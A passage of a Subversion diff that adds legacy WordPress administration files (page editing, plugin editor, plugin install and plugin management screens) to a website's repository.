+<?php $options_to_update = implode(',', $options_to_update); ?>
+<p class="submit"><input type="hidden" name="page_options" value="<?php echo esc_attr($options_to_update); ?>" /><input type="submit" name="Update" value="<?php _e('Save Changes') ?>" class="button-primary" /></p>
+  </form>
+</div>
+
+
+<?php
+break;
+} // end switch
+
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/page-new.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/page-new.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/page-new.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * New page administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+$title = __('Add New Page');
+$parent_file = 'edit-pages.php';
+$editing = true;
+wp_enqueue_script('autosave');
+wp_enqueue_script('page');
+if ( user_can_richedit() )
+	wp_enqueue_script('editor');
+add_thickbox();
+wp_enqueue_script('media-upload');
+wp_enqueue_script('word-count');
+
+if ( current_user_can('edit_pages') ) {
+	$action = 'post';
+	$post = get_default_page_to_edit();
+
+	include('edit-page-form.php');
+}
+
+include('admin-footer.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/page.php	(revision 44)
@@ -0,0 +1,183 @@
+<?php
+/**
+ * Edit page administration panel.
+ *
+ * Manage edit page: post, edit, delete, etc.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$parent_file = 'edit-pages.php';
+$submenu_file = 'edit-pages.php';
+
+wp_reset_vars(array('action'));
+
+/**
+ * Redirect to previous page.
+ *
+ * @param int $page_ID Page ID.
+ */
+function redirect_page($page_ID) {
+	global $action;
+
+	$referredby = '';
+	if ( !empty($_POST['referredby']) ) {
+		$referredby = preg_replace('|https?://[^/]+|i', '', $_POST['referredby']);
+		$referredby = remove_query_arg('_wp_original_http_referer', $referredby);
+	}
+	$referer = preg_replace('|https?://[^/]+|i', '', wp_get_referer());
+
+	if ( 'post' == $_POST['originalaction'] && !empty($_POST['mode']) && 'bookmarklet' == $_POST['mode'] ) {
+		$location = $_POST['referredby'];
+	} elseif ( 'post' == $_POST['originalaction'] && !empty($_POST['mode']) && 'sidebar' == $_POST['mode'] ) {
+		$location = 'sidebar.php?a=b';
+	} elseif ( ( isset($_POST['save']) || isset($_POST['publish']) ) ) {
+		if ( isset( $_POST['publish'] ) ) {
+			if ( 'pending' == get_post_status( $page_ID ) )
+				$location = add_query_arg( 'message', 6, get_edit_post_link( $page_ID, 'url' ) );
+			else
+				$location = add_query_arg( 'message', 5, get_edit_post_link( $page_ID, 'url' ) );
+		} else {
+			$location = add_query_arg( 'message', 1, get_edit_post_link( $page_ID, 'url' ) );
+		}
+	} elseif ( isset($_POST['addmeta']) ) {
+		$location = add_query_arg( 'message', 2, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} elseif ( isset($_POST['deletemeta']) ) {
+		$location = add_query_arg( 'message', 3, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} elseif ($action == 'editattachment') {
+		$location = 'attachments.php';
+	} else {
+		$location = add_query_arg( 'message', 1, get_edit_post_link( $page_ID, 'url' ) );
+	}
+
+	wp_redirect($location);
+}
+
+if (isset($_POST['deletepost']))
+	$action = "delete";
+elseif ( isset($_POST['wp-preview']) && 'dopreview' == $_POST['wp-preview'] )
+	$action = 'preview';
+
+switch($action) {
+case 'post':
+	check_admin_referer('add-page');
+	$page_ID = write_post();
+
+	redirect_page($page_ID);
+
+	exit();
+	break;
+
+case 'edit':
+	$title = __('Edit Page');
+	$editing = true;
+	$page_ID = $post_ID = $p = (int) $_GET['post'];
+	$post = get_post_to_edit($page_ID);
+
+	if ( empty($post->ID) ) wp_die( __('You attempted to edit a page that doesn&#8217;t exist. Perhaps it was deleted?') );
+
+	if ( 'page' != $post->post_type ) {
+		wp_redirect( get_edit_post_link( $post_ID, 'url' ) );
+		exit();
+	}
+
+	wp_enqueue_script('page');
+	if ( user_can_richedit() )
+		wp_enqueue_script('editor');
+	add_thickbox();
+	wp_enqueue_script('media-upload');
+	wp_enqueue_script('word-count');
+
+	if ( current_user_can('edit_page', $page_ID) ) {
+		if ( $last = wp_check_post_lock( $post->ID ) ) {
+			$last_user = get_userdata( $last );
+			$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
+			$message = sprintf( __( 'Warning: %s is currently editing this page' ), esc_html( $last_user_name ) );
+			$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
+			add_action('admin_notices', create_function( '', "echo '$message';" ) );
+		} else {
+			wp_set_post_lock( $post->ID );
+			wp_enqueue_script('autosave');
+		}
+	}
+
+	if ( !current_user_can('edit_page', $page_ID) )
+		die ( __('You are not allowed to edit this page.') );
+
+	include('edit-page-form.php');
+	break;
+
+case 'editattachment':
+	$page_id = $post_ID = (int) $_POST['post_ID'];
+	check_admin_referer('update-attachment_' . $page_id);
+
+	// Don't let these be changed
+	unset($_POST['guid']);
+	$_POST['post_type'] = 'attachment';
+
+	// Update the thumbnail filename
+	$newmeta = wp_get_attachment_metadata( $page_id, true );
+	$newmeta['thumb'] = $_POST['thumb'];
+
+	wp_update_attachment_metadata( $newmeta );
+
+case 'editpost':
+	$page_ID = (int) $_POST['post_ID'];
+	check_admin_referer('update-page_' . $page_ID);
+
+	$page_ID = edit_post();
+
+	redirect_page($page_ID);
+
+	exit();
+	break;
+
+case 'delete':
+	$page_id = (isset($_GET['post']))  ? intval($_GET['post']) : intval($_POST['post_ID']);
+	check_admin_referer('delete-page_' .  $page_id);
+
+	$page = & get_post($page_id);
+
+	if ( !current_user_can('delete_page', $page_id) )
+		wp_die( __('You are not allowed to delete this page.') );
+
+	if ( $page->post_type == 'attachment' ) {
+		if ( ! wp_delete_attachment($page_id) )
+			wp_die( __('Error in deleting...') );
+	} else {
+		if ( !wp_delete_post($page_id) )
+			wp_die( __('Error in deleting...') );
+	}
+
+	$sendback = wp_get_referer();
+	if (strpos($sendback, 'page.php') !== false) $sendback = admin_url('edit-pages.php?deleted=1');
+	elseif (strpos($sendback, 'attachments.php') !== false) $sendback = admin_url('attachments.php');
+	else $sendback = add_query_arg('deleted', 1, $sendback);
+	wp_redirect($sendback);
+	exit();
+	break;
+
+case 'preview':
+	check_admin_referer( 'autosave', 'autosavenonce' );
+
+	$url = post_preview();
+
+	wp_redirect($url);
+	exit();
+	break;
+
+default:
+	wp_redirect('edit-pages.php');
+	exit();
+	break;
+} // end switch
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/plugin-editor.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/plugin-editor.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/plugin-editor.php	(revision 44)
@@ -0,0 +1,230 @@
+<?php
+/**
+ * Edit plugin editor administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __("Edit Plugins");
+$parent_file = 'plugins.php';
+
+wp_reset_vars(array('action', 'redirect', 'profile', 'error', 'warning', 'a', 'file', 'plugin'));
+
+wp_admin_css( 'theme-editor' );
+
+$plugins = get_plugins();
+
+if ( isset($_REQUEST['file']) )
+	$plugin = $_REQUEST['file'];
+
+if ( empty($plugin) ) {
+	$plugin = array_keys($plugins);
+	$plugin = $plugin[0];
+}
+
+$plugin_files = get_plugin_files($plugin);
+
+if ( empty($file) )
+	$file = $plugin_files[0];
+
+$file = validate_file_to_edit($file, $plugin_files);
+$real_file = WP_PLUGIN_DIR . '/' . $file;
+
+switch ( $action ) {
+
+case 'update':
+
+	check_admin_referer('edit-plugin_' . $file);
+
+	if ( !current_user_can('edit_plugins') )
+		wp_die('<p>'.__('You do not have sufficient permissions to edit templates for this blog.').'</p>');
+
+	$newcontent = stripslashes($_POST['newcontent']);
+	if ( is_writeable($real_file) ) {
+		$f = fopen($real_file, 'w+');
+		fwrite($f, $newcontent);
+		fclose($f);
+
+		// Deactivate so we can test it.
+		if ( is_plugin_active($file) || isset($_POST['phperror']) ) {
+			if ( is_plugin_active($file) )
+				deactivate_plugins($file, true);
+			wp_redirect(add_query_arg('_wpnonce', wp_create_nonce('edit-plugin-test_' . $file), "plugin-editor.php?file=$file&liveupdate=1"));
+			exit;
+		}
+		wp_redirect("plugin-editor.php?file=$file&a=te");
+	} else {
+		wp_redirect("plugin-editor.php?file=$file");
+	}
+	exit;
+
+break;
+
+default:
+
+	if ( !current_user_can('edit_plugins') )
+		wp_die('<p>'.__('You do not have sufficient permissions to edit plugins for this blog.').'</p>');
+
+	if ( isset($_GET['liveupdate']) ) {
+		check_admin_referer('edit-plugin-test_' . $file);
+
+		$error = validate_plugin($file);
+		if ( is_wp_error($error) )
+			wp_die( $error );
+
+		if ( ! is_plugin_active($file) )
+			activate_plugin($file, "plugin-editor.php?file=$file&phperror=1"); // we'll override this later if the plugin can be included without fatal error
+
+		wp_redirect("plugin-editor.php?file=$file&a=te");
+		exit;
+	}
+
+	// List of allowable extensions
+	$editable_extensions = array('php', 'txt', 'text', 'js', 'css', 'html', 'htm', 'xml', 'inc', 'include');
+	$editable_extensions = (array) apply_filters('editable_extensions', $editable_extensions);
+
+	if ( ! is_file($real_file) ) {
+		wp_die(sprintf('<p>%s</p>', __('No such file exists! Double check the name and try again.')));
+	} else {
+		// Get the extension of the file
+		if ( preg_match('/\.([^.]+)$/', $real_file, $matches) ) {
+			$ext = strtolower($matches[1]);
+			// If extension is not in the acceptable list, skip it
+			if ( !in_array( $ext, $editable_extensions) )
+				wp_die(sprintf('<p>%s</p>', __('Files of this type are not editable.')));
+		}
+	}
+
+	require_once('admin-header.php');
+
+	update_recently_edited(WP_PLUGIN_DIR . '/' . $file);
+
+	$content = file_get_contents( $real_file );
+
+	if ( '.php' == substr( $real_file, strrpos( $real_file, '.' ) ) ) {
+		$functions = wp_doc_link_parse( $content );
+
+		if ( !empty($functions) ) {
+			$docs_select = '<select name="docs-list" id="docs-list">';
+			$docs_select .= '<option value="">' . __( 'Function Name...' ) . '</option>';
+			foreach ( $functions as $function) {
+				$docs_select .= '<option value="' . esc_attr( $function ) . '">' . htmlspecialchars( $function ) . '()</option>';
+			}
+			$docs_select .= '</select>';
+		}
+	}
+
+	$content = htmlspecialchars( $content );
+	$codepress_lang = codepress_get_lang($real_file);
+
+	?>
+<?php if (isset($_GET['a'])) : ?>
+ <div id="message" class="updated fade"><p><?php _e('File edited successfully.') ?></p></div>
+<?php elseif (isset($_GET['phperror'])) : ?>
+ <div id="message" class="updated fade"><p><?php _e('This plugin has been deactivated because your changes resulted in a <strong>fatal error</strong>.') ?></p>
+	<?php
+		if ( wp_verify_nonce($_GET['_error_nonce'], 'plugin-activation-error_' . $file) ) { ?>
+	<iframe style="border:0" width="100%" height="70px" src="<?php bloginfo('wpurl'); ?>/wp-admin/plugins.php?action=error_scrape&amp;plugin=<?php echo esc_attr($file); ?>&amp;_wpnonce=<?php echo esc_attr($_GET['_error_nonce']); ?>"></iframe>
+	<?php } ?>
+</div>
+<?php endif; ?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div class="fileedit-sub">
+<div class="alignleft">
+<big><?php
+	if ( is_plugin_active($plugin) ) {
+		if ( is_writeable($real_file) )
+			echo sprintf(__('Editing <strong>%s</strong> (active)'), $file);
+		else
+			echo sprintf(__('Browsing <strong>%s</strong> (active)'), $file);
+	} else {
+		if ( is_writeable($real_file) )
+			echo sprintf(__('Editing <strong>%s</strong> (inactive)'), $file);
+		else
+			echo sprintf(__('Browsing <strong>%s</strong> (inactive)'), $file);
+	}
+	?></big>
+</div>
+<div class="alignright">
+	<form action="plugin-editor.php" method="post">
+		<strong><label for="plugin"><?php _e('Select plugin to edit:'); ?> </label></strong>
+		<select name="plugin" id="plugin">
+<?php
+	foreach ( $plugins as $plugin_key => $a_plugin ) {
+		$plugin_name = $a_plugin['Name'];
+		if ( $plugin_key == $plugin )
+			$selected = " selected='selected'";
+		else
+			$selected = '';
+		$plugin_name = esc_attr($plugin_name);
+		$plugin_key = esc_attr($plugin_key);
+		echo "\n\t<option value=\"$plugin_key\" $selected>$plugin_name</option>";
+	}
+?>
+		</select>
+		<input type="submit" name="Submit" value="<?php esc_attr_e('Select') ?>" class="button" />
+	</form>
+</div>
+<br class="clear" />
+</div>
+
+<div id="templateside">
+	<h3><?php _e('Plugin Files'); ?></h3>
+
+	<ul>
+<?php
+foreach ( $plugin_files as $plugin_file ) :
+	// Get the extension of the file
+	if ( preg_match('/\.([^.]+)$/', $plugin_file, $matches) ) {
+		$ext = strtolower($matches[1]);
+		// If extension is not in the acceptable list, skip it
+		if ( !in_array( $ext, $editable_extensions ) )
+			continue;
+	} else {
+		// No extension found
+		continue;
+	}
+?>
+		<li<?php echo $file == $plugin_file ? ' class="highlight"' : ''; ?>><a href="plugin-editor.php?file=<?php echo $plugin_file; ?>&amp;plugin=<?php echo $plugin; ?>"><?php echo $plugin_file ?></a></li>
+<?php endforeach; ?>
+	</ul>
+</div>
+<form name="template" id="template" action="plugin-editor.php" method="post">
+	<?php wp_nonce_field('edit-plugin_' . $file) ?>
+		<div><textarea cols="70" rows="25" name="newcontent" id="newcontent" tabindex="1" class="codepress <?php echo $codepress_lang ?>"><?php echo $content ?></textarea>
+		<input type="hidden" name="action" value="update" />
+		<input type="hidden" name="file" value="<?php echo esc_attr($file) ?>" />
+		<input type="hidden" name="plugin" value="<?php echo esc_attr($plugin) ?>" />
+		</div>
+		<?php if ( !empty( $docs_select ) ) : ?>
+		<div id="documentation"><label for="docs-list"><?php _e('Documentation:') ?></label> <?php echo $docs_select ?> <input type="button" class="button" value="<?php esc_attr_e( 'Lookup' ) ?> " onclick="if ( '' != jQuery('#docs-list').val() ) { window.open( 'http://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_locale() ) ?>&amp;version=<?php echo urlencode( $wp_version ) ?>&amp;redirect=true'); }" /></div>
+		<?php endif; ?>
+<?php if ( is_writeable($real_file) ) : ?>
+	<?php if ( in_array($file, (array) get_option('active_plugins')) ) { ?>
+		<p><?php _e('<strong>Warning:</strong> Making changes to active plugins is not recommended.  If your changes cause a fatal error, the plugin will be automatically deactivated.'); ?></p>
+	<?php } ?>
+	<p class="submit">
+	<?php
+		if ( isset($_GET['phperror']) )
+			echo "<input type='hidden' name='phperror' value='1' /><input type='submit' name='submit' class='button-primary' value='" . esc_attr__('Update File and Attempt to Reactivate') . "' tabindex='2' />";
+		else
+			echo "<input type='submit' name='submit' class='button-primary' value='" . esc_attr__('Update File') . "' tabindex='2' />";
+	?>
+	</p>
+<?php else : ?>
+	<p><em><?php _e('You need to make this file writable before you can save your changes. See <a href="http://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.'); ?></em></p>
+<?php endif; ?>
+</form>
+<br class="clear" />
+</div>
+<?php
+	break;
+}
+include("admin-footer.php");
Index: /trunk/www.guidonia.net/wp/wp-admin/plugin-install.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/plugin-install.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/plugin-install.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Install plugin administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( ! current_user_can('install_plugins') )
+	wp_die(__('You do not have sufficient permissions to install plugins on this blog.'));
+
+include(ABSPATH . 'wp-admin/includes/plugin-install.php');
+
+$title = __('Install Plugins');
+$parent_file = 'plugins.php';
+
+wp_reset_vars( array('tab', 'paged') );
+
+//These are the tabs which are shown on the page,
+$tabs = array();
+$tabs['dashboard'] = __('Search');
+if ( 'search' == $tab )
+	$tabs['search']	= __('Search Results');
+$tabs['upload'] = __('Upload');
+$tabs['featured'] = __('Featured');
+$tabs['popular']  = __('Popular');
+$tabs['new']      = __('Newest');
+$tabs['updated']  = __('Recently Updated');
+
+$nonmenu_tabs = array('plugin-information'); //Valid actions to perform which do not have a Menu item.
+
+$tabs = apply_filters('install_plugins_tabs', $tabs );
+$nonmenu_tabs = apply_filters('install_plugins_nonmenu_tabs', $nonmenu_tabs);
+
+//If a non-valid menu tab has been selected, And its not a non-menu action.
+if( empty($tab) || ( ! isset($tabs[ $tab ]) && ! in_array($tab, (array)$nonmenu_tabs) ) ) {
+	$tab_actions = array_keys($tabs);
+	$tab = $tab_actions[0];
+}
+if( empty($paged) )
+	$paged = 1;
+
+wp_enqueue_style( 'plugin-install' );
+wp_enqueue_script( 'plugin-install' );
+if ( 'plugin-information' != $tab )
+	add_thickbox();
+
+$body_id = $tab;
+
+do_action('install_plugins_pre_' . $tab); //Used to override the general interface, Eg, install or plugin information.
+
+include('admin-header.php');
+?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+	<ul class="subsubsub">
+<?php
+$display_tabs = array();
+foreach ( (array)$tabs as $action => $text ) {
+	$sep = ( end($tabs) != $text ) ? ' | ' : '';
+	$class = ( $action == $tab ) ? ' class="current"' : '';
+	$href = admin_url('plugin-install.php?tab=' . $action);
+	echo "\t\t<li><a href='$href'$class>$text</a>$sep</li>\n";
+}
+?>
+	</ul>
+	<br class="clear" />
+	<?php do_action('install_plugins_' . $tab, $paged); ?>
+</div>
+<?php
+include('admin-footer.php');
Index: /trunk/www.guidonia.net/wp/wp-admin/plugins.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/plugins.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/plugins.php	(revision 44)
@@ -0,0 +1,557 @@
+<?php
+/**
+ * Plugins administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( isset($_POST['clear-recent-list']) )
+	$action = 'clear-recent-list';
+elseif ( !empty($_REQUEST['action']) )
+	$action = $_REQUEST['action'];
+elseif ( !empty($_REQUEST['action2']) )
+	$action = $_REQUEST['action2'];
+else
+	$action = false;
+
+$plugin = isset($_REQUEST['plugin']) ? $_REQUEST['plugin'] : '';
+
+$default_status = get_user_option('plugins_last_view');
+if ( empty($default_status) )
+	$default_status = 'all';
+$status = isset($_REQUEST['plugin_status']) ? $_REQUEST['plugin_status'] : $default_status;
+if ( !in_array($status, array('all', 'active', 'inactive', 'recent', 'upgrade', 'search')) )
+	$status = 'all';
+if ( $status != $default_status && 'search' != $status )
+	update_usermeta($current_user->ID, 'plugins_last_view', $status);
+
+$page = isset($_REQUEST['paged']) ? $_REQUEST['paged'] : 1;
+
+//Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$_SERVER['REQUEST_URI'] = remove_query_arg(array('error', 'deleted', 'activate', 'activate-multi', 'deactivate', 'deactivate-multi', '_error_nonce'), $_SERVER['REQUEST_URI']);
+
+if ( !empty($action) ) {
+	switch ( $action ) {
+		case 'activate':
+			check_admin_referer('activate-plugin_' . $plugin);
+
+			$result = activate_plugin($plugin, 'plugins.php?error=true&plugin=' . $plugin);
+			if ( is_wp_error( $result ) )
+				wp_die($result);
+
+			$recent = (array)get_option('recently_activated');
+			if ( isset($recent[ $plugin ]) ) {
+				unset($recent[ $plugin ]);
+				update_option('recently_activated', $recent);
+			}
+
+			wp_redirect("plugins.php?activate=true&plugin_status=$status&paged=$page"); // overrides the ?error=true one above
+			exit;
+			break;
+		case 'activate-selected':
+			check_admin_referer('bulk-manage-plugins');
+
+			$plugins = (array) $_POST['checked'];
+			$plugins = array_filter($plugins, create_function('$plugin', 'return !is_plugin_active($plugin);') ); //Only activate plugins which are not already active.
+			if ( empty($plugins) ) {
+				wp_redirect("plugins.php?plugin_status=$status&paged=$page");
+				exit;
+			}
+
+			activate_plugins($plugins, 'plugins.php?error=true');
+
+			$recent = (array)get_option('recently_activated');
+			foreach ( $plugins as $plugin => $time)
+				if ( isset($recent[ $plugin ]) )
+					unset($recent[ $plugin ]);
+
+			update_option('recently_activated', $recent);
+
+			wp_redirect("plugins.php?activate-multi=true&plugin_status=$status&paged=$page");
+			exit;
+			break;
+		case 'error_scrape':
+			check_admin_referer('plugin-activation-error_' . $plugin);
+
+			$valid = validate_plugin($plugin);
+			if ( is_wp_error($valid) )
+				wp_die($valid);
+
+			error_reporting( E_ALL ^ E_NOTICE );
+			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
+			include(WP_PLUGIN_DIR . '/' . $plugin);
+			do_action('activate_' . $plugin);
+			exit;
+			break;
+		case 'deactivate':
+			check_admin_referer('deactivate-plugin_' . $plugin);
+			deactivate_plugins($plugin);
+			update_option('recently_activated', array($plugin => time()) + (array)get_option('recently_activated'));
+			wp_redirect("plugins.php?deactivate=true&plugin_status=$status&paged=$page");
+			exit;
+			break;
+		case 'deactivate-selected':
+			check_admin_referer('bulk-manage-plugins');
+
+			$plugins = (array) $_POST['checked'];
+			$plugins = array_filter($plugins, 'is_plugin_active'); //Do not deactivate plugins which are already deactivated.
+			if ( empty($plugins) ) {
+				wp_redirect("plugins.php?plugin_status=$status&paged=$page");
+				exit;
+			}
+
+			deactivate_plugins($plugins);
+
+			$deactivated = array();
+			foreach ( $plugins as $plugin )
+				$deactivated[ $plugin ] = time();
+
+			update_option('recently_activated', $deactivated + (array)get_option('recently_activated'));
+			wp_redirect("plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page");
+			exit;
+			break;
+		case 'delete-selected':
+			if ( ! current_user_can('delete_plugins') )
+				wp_die(__('You do not have sufficient permissions to delete plugins for this blog.'));
+
+			check_admin_referer('bulk-manage-plugins');
+
+			$plugins = (array) $_REQUEST['checked']; //$_POST = from the plugin form; $_GET = from the FTP details screen.
+			$plugins = array_filter($plugins, create_function('$plugin', 'return !is_plugin_active($plugin);') ); //Do not allow to delete Activated plugins.
+			if ( empty($plugins) ) {
+				wp_redirect("plugins.php?plugin_status=$status&paged=$page");
+				exit;
+			}
+
+			include(ABSPATH . 'wp-admin/update.php');
+
+			$parent_file = 'plugins.php';
+
+			if ( ! isset($_REQUEST['verify-delete']) ) {
+				wp_enqueue_script('jquery');
+				require_once('admin-header.php');
+				?>
+			<div class="wrap">
+				<h2><?php _e('Delete Plugin(s)'); ?></h2>
+				<?php
+					$files_to_delete = $plugin_info = array();
+					foreach ( (array) $plugins as $plugin ) {
+						if ( '.' == dirname($plugin) ) {
+							$files_to_delete[] = WP_PLUGIN_DIR . '/' . $plugin;
+							if( $data = get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin) )
+								$plugin_info[ $plugin ] = $data;
+						} else {
+							//Locate all the files in that folder:
+							$files = list_files( WP_PLUGIN_DIR . '/' . dirname($plugin) );
+							if( $files ) {
+								$files_to_delete = array_merge($files_to_delete, $files);
+							}
+							//Get plugins list from that folder
+							if ( $folder_plugins = get_plugins( '/' . dirname($plugin)) )
+								$plugin_info = array_merge($plugin_info, $folder_plugins);
+						}
+					}
+				?>
+				<p><?php _e('Deleting the selected plugins will remove the following plugin(s) and their files:'); ?></p>
+					<ul class="ul-disc">
+						<?php
+						foreach ( $plugin_info as $plugin )
+							echo '<li>', sprintf(__('<strong>%s</strong> by <em>%s</em>'), $plugin['Name'], $plugin['Author']), '</li>';
+						?>
+					</ul>
+				<p><?php _e('Are you sure you wish to delete these files?') ?></p>
+				<form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
+					<input type="hidden" name="verify-delete" value="1" />
+					<input type="hidden" name="action" value="delete-selected" />
+					<?php
+						foreach ( (array)$plugins as $plugin )
+							echo '<input type="hidden" name="checked[]" value="' . esc_attr($plugin) . '" />';
+					?>
+					<?php wp_nonce_field('bulk-manage-plugins') ?>
+					<input type="submit" name="submit" value="<?php esc_attr_e('Yes, Delete these files') ?>" class="button" />
+				</form>
+				<form method="post" action="<?php echo esc_url(wp_get_referer()); ?>" style="display:inline;">
+					<input type="submit" name="submit" value="<?php esc_attr_e('No, Return me to the plugin list') ?>" class="button" />
+				</form>
+
+				<p><a href="#" onclick="jQuery('#files-list').toggle(); return false;"><?php _e('Click to view entire list of files which will be deleted'); ?></a></p>
+				<div id="files-list" style="display:none;">
+					<ul class="code">
+					<?php
+						foreach ( (array)$files_to_delete as $file )
+							echo '<li>' . str_replace(WP_PLUGIN_DIR, '', $file) . '</li>';
+					?>
+					</ul>
+				</div>
+			</div>
+				<?php
+				require_once('admin-footer.php');
+				exit;
+			} //Endif verify-delete
+			$delete_result = delete_plugins($plugins);
+
+			set_transient('plugins_delete_result_'.$user_ID, $delete_result); //Store the result in a cache rather than a URL param due to object type & length
+			wp_redirect("plugins.php?deleted=true&plugin_status=$status&paged=$page");
+			exit;
+			break;
+		case 'clear-recent-list':
+			update_option('recently_activated', array());
+			break;
+	}
+}
+
+wp_enqueue_script('plugin-install');
+add_thickbox();
+
+$help = '<p>' . __('Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.') . '</p>';
+$help .= '<p>' . sprintf(__('If something goes wrong with a plugin and you can&#8217;t use WordPress, delete or rename that file in the <code>%s</code> directory and it will be automatically deactivated.'), WP_PLUGIN_DIR) . '</p>';
+$help .= '<p>' . sprintf(__('You can find additional plugins for your site by using the new <a href="%1$s">Plugin Browser/Installer</a> functionality or by browsing the <a href="http://wordpress.org/extend/plugins/">WordPress Plugin Directory</a> directly and installing manually.  To <em>manually</em> install a plugin you generally just need to upload the plugin file into your <code>%2$s</code> directory.  Once a plugin has been installed, you may activate it here.'), 'plugin-install.php', WP_PLUGIN_DIR) . '</p>';
+
+add_contextual_help('plugins', $help);
+
+$title = __('Manage Plugins');
+require_once('admin-header.php');
+
+$invalid = validate_active_plugins();
+if ( !empty($invalid) )
+	foreach ( $invalid as $plugin_file => $error )
+		echo '<div id="message" class="error"><p>' . sprintf(__('The plugin <code>%s</code> has been <strong>deactivated</strong> due to an error: %s'), esc_html($plugin_file), $error->get_error_message()) . '</p></div>';
+?>
+
+<?php if ( isset($_GET['error']) ) : ?>
+	<div id="message" class="updated fade"><p><?php _e('Plugin could not be activated because it triggered a <strong>fatal error</strong>.') ?></p>
+	<?php
+		if ( wp_verify_nonce($_GET['_error_nonce'], 'plugin-activation-error_' . $plugin) ) { ?>
+	<iframe style="border:0" width="100%" height="70px" src="<?php echo admin_url('plugins.php?action=error_scrape&amp;plugin=' . esc_attr($plugin) . '&amp;_wpnonce=' . esc_attr($_GET['_error_nonce'])); ?>"></iframe>
+	<?php
+		}
+	?>
+	</div>
+<?php elseif ( isset($_GET['deleted']) ) :
+		$delete_result = get_transient('plugins_delete_result_'.$user_ID);
+		delete_transient('plugins_delete_result'); //Delete it once we're done.
+
+		if ( is_wp_error($delete_result) ) : ?>
+		<div id="message" class="updated fade"><p><?php printf( __('Plugin could not be deleted due to an error: %s'), $delete_result->get_error_message() ); ?></p></div>
+		<?php else : ?>
+		<div id="message" class="updated fade"><p><?php _e('The selected plugins have been <strong>deleted</strong>.'); ?></p></div>
+		<?php endif; ?>
+<?php elseif ( isset($_GET['activate']) ) : ?>
+	<div id="message" class="updated fade"><p><?php _e('Plugin <strong>activated</strong>.') ?></p></div>
+<?php elseif (isset($_GET['activate-multi'])) : ?>
+	<div id="message" class="updated fade"><p><?php _e('Selected plugins <strong>activated</strong>.'); ?></p></div>
+<?php elseif ( isset($_GET['deactivate']) ) : ?>
+	<div id="message" class="updated fade"><p><?php _e('Plugin <strong>deactivated</strong>.') ?></p></div>
+<?php elseif (isset($_GET['deactivate-multi'])) : ?>
+	<div id="message" class="updated fade"><p><?php _e('Selected plugins <strong>deactivated</strong>.'); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php
+
+$all_plugins = get_plugins();
+$search_plugins = array();
+$active_plugins = array();
+$inactive_plugins = array();
+$recent_plugins = array();
+$recently_activated = get_option('recently_activated', array());
+$upgrade_plugins = array();
+
+set_transient( 'plugin_slugs', array_keys($all_plugins), 86400 );
+
+// Clean out any plugins which were deactivated over a week ago.
+foreach ( $recently_activated as $key => $time )
+	if ( $time + (7*24*60*60) < time() ) //1 week
+		unset($recently_activated[ $key ]);
+if ( $recently_activated != get_option('recently_activated') ) //If array changed, update it.
+	update_option('recently_activated', $recently_activated);
+$current = get_transient( 'update_plugins' );
+
+foreach ( (array)$all_plugins as $plugin_file => $plugin_data) {
+
+	//Translate, Apply Markup, Sanitize HTML
+	$plugin_data = _get_plugin_data_markup_translate($plugin_file, $plugin_data, false, true);
+	$all_plugins[ $plugin_file ] = $plugin_data;
+
+	//Filter into individual sections
+	if ( is_plugin_active($plugin_file) ) {
+		$active_plugins[ $plugin_file ] = $plugin_data;
+	} else {
+		if ( isset( $recently_activated[ $plugin_file ] ) ) // Was the plugin recently activated?
+			$recent_plugins[ $plugin_file ] = $plugin_data;
+		$inactive_plugins[ $plugin_file ] = $plugin_data;
+	}
+
+    if ( isset( $current->response[ $plugin_file ] ) )
+        $upgrade_plugins[ $plugin_file ] = $plugin_data;
+}
+
+$total_all_plugins = count($all_plugins);
+$total_inactive_plugins = count($inactive_plugins);
+$total_active_plugins = count($active_plugins);
+$total_recent_plugins = count($recent_plugins);
+$total_upgrade_plugins = count($upgrade_plugins);
+
+//Searching.
+if ( isset($_GET['s']) ) {
